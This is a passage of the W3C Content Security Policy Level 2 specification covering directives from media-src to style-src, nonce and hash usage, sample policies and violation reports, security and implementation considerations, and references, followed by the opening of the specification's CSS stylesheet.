directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive’s value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed media sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track element.

7.11. object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive’s value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed object sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

It is not required that the consumer of the element’s data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other §7 Directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URL (e.g., because the object element lacked a data attribute), if the protected resource’s URL does not match the allowed object sources for the protected resource, the user agent MUST NOT load the plugin.

7.12. plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive’s value as a media type list.

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

7.12.1. Usage

This section is not normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash

Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

7.12.2. Predeclaration of expected media types

This section is not normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn’t actually a PDF file, it won’t load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

7.13. report-uri

The report-uri directive specifies a URL to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URLs is the value of the report-uri directive, each resolved relative to the protected resource’s URL.

The process of sending violation reports to the URLs specified in this directive’s value is defined in this document’s §4.4 Reporting section.

Note: The report-uri directive will be ignored if contained within a meta element.

7.14. sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = "" / sandbox-token *( 1*WSP sandbox-token )
sandbox-token     = <token from RFC 7230>

When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource’s forced sandboxing flag set as the output. [HTML5]

The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element. Moreover, this directive has no effect when monitored, and has no reporting requirements.

7.14.1. Sandboxing and Workers

When delivered via an HTTP header, a Content Security Policy may indicate that sandboxing flags ought to be applied to a JavaScript execution environment that is not a Document. Of particular interest is the script content intended for use as a Worker, Shared Worker, or Service Worker. Many of the sandboxing flags do not apply to such environments, but allow-scripts and allow-same-origin have special requirements.

When a resource is loaded while executing the runs a Worker algorithm, the user agent MUST act as if there was a fatal network error and no resource could be obtained if either of the following conditions holds:

  1. The sandbox directive delivered with the resource does not contain the allow-scripts flag.
  2. The sandbox directive delivered with the resource does not contain the allow-same-origin flag, and the creation of the new execution context requires it to be same-origin with its creating context.

7.14.2. Usage

This section is not normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content’s abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute’s value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive’s value. For example, you can allow a page that you trust to run script, while ensuring that it isn’t treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

7.15. script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive’s value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URL, instead the user agent MUST NOT execute the script, and MUST report a violation.

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw an EvalError exception.
  • When called as a constructor, the function Function [ECMA-262] MUST throw an EvalError exception.
  • When called with a first argument that is not callable (a string, for example), the setTimeout() function MUST return zero without creating a timer.
  • When called with a first argument that is not callable (a string, for example), the setInterval() function MUST return zero without creating a timer.

Whenever the user agent fetches a URL (including when following redirects) in the course of one of the following activities, if the URL does not match the allowed script sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [HTML-IMPORTS]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> and <xsl:import> elements.

7.15.1. Nonce usage for script elements

This section is not normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have a valid nonce:

<script>
alert("Blocked because the policy doesn’t have 'unsafe-inline'.")
</script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>

<script src="https://example.com/allowed-because-of-src.js"></script>

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
    src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
    src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

Note that the nonce’s value is not a hash or signature that verifies the contents of the script resources. It’s quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they’re inline or external. Script elements without the proper nonce don’t execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker’s inability to guess the random value.

7.15.2. Hash usage for script elements

This section is not normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block’s contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block’s contents are hashed, and compared against the whitelisted value. If there’s a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=.

You can obtain the digest of a string on the command line simply via the openssl program. For example:
echo -n "alert('Hello, world.');" | openssl dgst -sha256 -binary | openssl enc -base64

If the server sent the following header:

Content-Security-Policy: script-src 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

7.16. style-src

The style-src directive restricts which styles the user may applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive’s value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>).

If 'unsafe-eval' is not in allowed style sources, then:

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed style sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting an external stylesheet when processing the href of a link element whose rel attribute contains the token stylesheet.
  • Requesting an external stylesheet when processing the <<@import>> directive.
  • Requesting an external stylesheet when processing a Link HTTP response header field [RFC5988].

    Note: As this stylesheet might be prefetched before a Document actually exists, user agents will need to carefully consider how to instantiate a meaningful policy against which to compare this request. See §10.1 Processing Complications for more detail.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

7.16.1. Nonce usage for style elements

This section is not normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

7.16.2. Hash usage for style elements

This section is not normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

8. Examples

8.1. Sample Policy Definitions

This section provides some sample use cases and supporting policies.

A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URL, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
Content-Security-Policy:
    default-src 'self'; img-src *;
    object-src media1.example.com media2.example.com *.cdn.example.com;
    script-src trustedscripts.example.com
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>

8.2. Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

9. Security Considerations

9.1. Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

9.2. Redirect Information Leakage

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URL.

The mitigations are not complete, however: redirects which are blocked will produce side-effects which may be visible to JavaScript (via img.naturalHeight, for instance). An earlier version of this specification defined a CSP request header which servers could use (in conjunction with the referer and origin headers) to determine whether or not it was completely safe to redirect a user. This header caused some issues with CORS processing (tracked in whatwg/fetch#52), and has been punted to the next version of this document.

10. Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note: Migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [RFC6797]

Server administrators MAY wish to send multiple policies if different reporting options are desired for subsets of an overall policy. For instance, the following headers:
Content-Security-Policy: frame-ancestors https://example.com/ 
Content-Security-Policy: default-src https:; report-uri https://example.com/

would send violation reports for http resources, but would not send violation reports for frame-ancestors violations. Note also that combining them via ',' into the single header

Content-Security-Policy: frame-ancestors https://example.com/, default-src https:; report-uri https://example.com/

would have the same effect, as the comma splits the header during parsing.

10.1. Processing Complications

Many user agents implement some form of optimistic resource fetching algorithm to speed up page loads. In implementing these features, user agents MUST ensure that these optimizations do not alter the behavior of the page’s security policy.

Here, we’ll note a few potential complications that could cause bugs in implementations:

  1. The frame-ancestor directive MUST take effect before a document is loaded into a nested browsing context, and certainly before script is potentially executed. One way to approach this constraint is to perform the ancestor check defined in §7.7 frame-ancestors while parsing the document’s headers. This might mean that no document object is available at all, which can complicate checks against 'self', and scheme- or port-relative source expressions.
  2. Likewise, the Link HTTP response header could generate requests for stylesheet resources before a document is available. User agents MUST ensure that any policy contained in the response headers is parsed and effective before these requests are generated. For example, a response returning the following headers:
    Content-Security-Policy: style-src 'none'
    Link: <awesome.css>; rel=stylesheet
    

    MUST have the same behavior as a response returning the following headers:

    Link: <awesome.css>; rel=stylesheet
    Content-Security-Policy: style-src 'none'
    

    namely, both must block requests for the stylesheet. To fulfil this requirement user agents MUST wait until all headers have been processed before beginning to prefetch resources.

11. IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

11.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

11.2. Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

12. Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group’s requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided particularly insightful feedback to keep this specification sane.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[BEACON]
Jatinder Mann; Alois Reitbauer. Beacon. WD. URL: https://www.w3.org/TR/beacon/
[ECMA-262]
Allen Wirfs-Brock. ECMA-262 6th Edition, The ECMAScript 2015 Language Specification. June 2015. Standard. URL: http://www.ecma-international.org/ecma-262/6.0/
[FIPS180]
Secure Hash Standard. URL: http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf
[HTML-IMPORTS]
Dmitri Glazkov; Hajime Morrita. HTML Imports. WD. URL: https://www.w3.org/TR/html-imports/
[HTML5]
Ian Hickson; et al. HTML5. REC. URL: https://www.w3.org/TR/html5/
[RFC3492]
Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). REC. URL: http://www.ietf.org/rfc/rfc3492.txt
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC4627]
Douglas Crockford. The 'application/json' Media Type for JavaScript Object Notation (JSON). RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom. HTTP Header Field X-Frame-Options. RFC. URL: http://www.ietf.org/rfc/rfc7034.txt
[RFC7230]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Message Syntax and Routing. RFC. URL: http://www.ietf.org/rfc/rfc7230.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[URL]
Anne van Kesteren. URL Standard. Living Standard. URL: https://url.spec.whatwg.org/
Note: URLs can be used in numerous different manners, in many differing contexts. For the purpose of producing strict URLs one may wish to consider [RFC3986] [RFC3987].

URLs can be used in numerous different manners, in many differing contexts. For the purpose of producing strict URLs one may wish to consider [RFC3986] [RFC3987].

As a word of caution, there are notable differences in the manner in which Web browsers and other software stacks outside the HTML context handle URLs. While no changes would be accepted to URL processing that would break existing Web content, some important parts of URL processing should therefore be considered as implementation-defined (e.g. parsing file: URLs or operating on URLs that would be syntax errors under the [RFC3986] [RFC3987] syntax).

[WebIDL]
Cameron McCormack. Web IDL Level 1. 08 March 2016. CR. URL: https://www.w3.org/TR/WebIDL-1/
[XMLHttpRequest]
Anne van Kesteren; et al. XMLHttpRequest Level 1. 30 January 2014. WD. URL: https://www.w3.org/TR/XMLHttpRequest/
[CSS-IMAGES-3]
CSS Image Values and Replaced Content Module Level 3 URL: https://www.w3.org/TR/css3-images/
[CSS-IMAGES-4]
CSS Image Values and Replaced Content Module Level 4 URL: https://www.w3.org/TR/css4-images/
[CSS3-FONTS]
John Daggett. CSS Fonts Module Level 3. 3 October 2013. CR. URL: https://www.w3.org/TR/css-fonts-3/
[CSS4-IMAGES]
Elika Etemad; Tab Atkins Jr.. CSS Image Values and Replaced Content Module Level 4. 11 September 2012. WD. URL: https://www.w3.org/TR/css4-images/
[CSSOM]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 5 December 2013. WD. URL: https://www.w3.org/TR/cssom/
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 3 February 2015. REC. URL: https://www.w3.org/TR/eventsource/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://tools.ietf.org/html/rfc2119
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: https://tools.ietf.org/html/rfc3986
[RFC5988]
M. Nottingham. Web Linking. October 2010. Proposed Standard. URL: https://tools.ietf.org/html/rfc5988
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. CR. URL: https://www.w3.org/TR/websockets/
[WORKERS]
Ian Hickson. Web Workers. 1 May 2012. CR. URL: https://www.w3.org/TR/workers/
[XML11]
Tim Bray; et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. REC. URL: https://www.w3.org/TR/xml11/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: https://www.w3.org/TR/xslt

Informative References

[RFC6797]
Jeff Hodges; Collin Jackson; Adam Barth. HTTP Strict Transport Security (HSTS). RFC. URL: http://www.ietf.org/rfc/rfc6797.txt
[UIREDRESS]
Giorgio Maone; et al. User Interface Security Directives for Content Security Policy. WD. URL: https://www.w3.org/TR/UISecurity/

IDL Index

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};

partial interface HTMLStyleElement {
  attribute DOMString nonce;
};

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};

================================================ FILE: 2/published/default.css ================================================ /* * Style sheet for WebAppSec specifications (stolen wholesale from the CSSWG), * to be used in addition to http://www.w3.org/StyleSheets/TR/W3C-{WD,PR,REC} */ @media print { html { margin: 0 !important } body { font-family: serif } th, td { font-family: inherit } a { color: inherit !important } .example:before { font-family: serif !important } a:link, a:visited { text-decoration: none !important } a:link:after, a:visited:after { /* create a cross-ref "see..." */ } } @page { margin: 1.5cm 1.1cm; } body { counter-reset: exampleno figure issue; max-width: 50em; margin: 0 auto !important; } /* Pagination */ h1, h2, h3, h4, h5, h6 { page-break-after: avoid } figure, div.figure, div.sidefigure, pre, table.propdef, table.propdef-extra, .example { page-break-inside: avoid } dt { page-break-after: avoid } span.id {float: right; font-weight: bold} /* General Structural Markup */ h2, h3, h5, h6 { margin-top: 3em; } /* #subtitle is a subtitle in an H2 under the H1 */ h1 + h2, #subtitle + h2 { margin-top: 0; } h4 { margin-top: 4em; } h2 + h3, h3 + h4, h4 + h5, h5 + h6 { margin-top: 1.2em } hr:not([title]) { font-size: 1.5em; text-align: center; margin: 1em auto; border: transparent solid; background: transparent; } hr:not([title])::before { content: "\1F411\2003\2003\1F411\2003\2003\1F411"; } p, div.note, div.issue, details.why { margin-top: 1em; margin-bottom: 1em; } dd > p:first-child, li > p:first-child, .note > p:first-child, .issue > p:first-child { margin-top: 0 } pre { margin-top: 1em; margin-bottom: 1em; } pre, code { font-family: Menlo, Consolas, "DejaVu Sans Mono", monospace; font-size: .9em; } img { border-style: none; color: white; } .toc { } body { line-height: 1.5; } a.logo:link, a.logo:visited { padding: 0; border-style: none; } dl dd { margin: 0 0 1em 2em } .head dd { margin-bottom: 0; } ul, ol { margin-left: 0; padding-left: 2em; } li { margin: 0.25em 2em 0.5em 0; padding-left: 0 } ul.indexlist { margin-left: 0; columns: 13em; } ul.indexlist li { margin-left: 0; list-style: none } ul.indexlist li li { margin-left: 1em } ul.indexlist a { font-weight: bold; } ul.indexlist ul, ul.indexlist dl { font-size: smaller; } ul.indexlist dl { margin-top: 0; } ul.indexlist dt { margin: .2em 0 .2em 20px;} ul.indexlist dd { margin: .2em 0 .2em 40px;} /* .self-link is a link to the element */ .heading, .issue, .note, .example, li, dt { position: relative; } a.self-link { position: absolute; top: 0; left: -2.5em; width: 2em; height: 2em; text-align: center; border: none; transition: opacity .2s; opacity: .5; } a.self-link:hover { opacity: 1; } .heading > a.self-link { font-size: 83%; } li > a.self-link { left: -3.5em; } dfn > a.self-link { top: auto; left: auto; opacity: 0; width: 1.5em; height: 1.5em; background: gray; color: white; font-style: normal; transition: opacity .2s, background-color .2s, color .2s; } dfn:hover > a.self-link { opacity: 1; } dfn > a.self-link:hover { color: black; } a.self-link::before { content: "¶"; } .heading > a.self-link::before { content: "§"; } dfn > a.self-link::before { content: "#"; } /* Examples */ .example { counter-increment: exampleno; } .example:before { content: "Example"; content: "Example " counter(exampleno); min-width: 7.5em; text-transform: uppercase; display: block; } div.illegal-example:before, pre.illegal-example:before { content: "Invalid Example"; content: "Invalid Example" counter(exampleno); } .example, .illegal-example, div.html, div.illegal-html, div.xml, div.illegal-xml, pre.html, pre.illegal-html, pre.xml, pre.illegal-xml { padding: 0.5em; margin: 1em 0; position: relative; clear: both; } pre.example, pre.illegal-example, pre.html, pre.illegal-html, pre.xml, pre.illegal-xml { padding-top: 1.5em; } pre.illegal-example { color: red } div.illegal-example { color: red } div.illegal-example p { color: black } div.html { color: #600 } pre.html { color: #600 } pre.illegal-html { color: red } div.illegal-html { color: red } div.illegal-html p { color: black } pre.deprecated-html { color: red } div.deprecated-html { color: red } div.deprecated-html p { color: black } div.xml { color: #600 } pre.xml { color: #600 } pre.illegal-xml { color: red } div.illegal-xml { color: red } div.illegal-xml p { color: black } .css, .property { color: #005a9c } /* inline CSS code (SPAN/CODE) */ code.css { font-family: inherit; font-size: 100% } code.html { color: #600 } /* inline HTML */ code.xml { color: #600 } /* inline XML */ .property { font: inherit; white-space: nowrap; } /* name of a CSS property (SPAN) */ .descriptor { } /* name of a CSS descriptor (SPAN) */ .type { font-style: italic } /* A value for a property */ /* Autolinks produced using Bikeshed. */ [data-link-type="property"]::before, [data-link-type="propdesc"]::before, [data-link-type="descriptor"]::before, [data-link-type="value"]::before, [data-link-type="function"]::before, [data-link-type="at-rule"]::before, [data-link-type="selector"]::before, [data-link-type="maybe"]::before {content: "\2018";} [data-link-type="property"]::after, [data-link-type="propdesc"]::after, [data-link-type="descriptor"]::after, [data-link-type="value"]::after, [data-link-type="function"]::after, [data-link-type="at-rule"]::after, 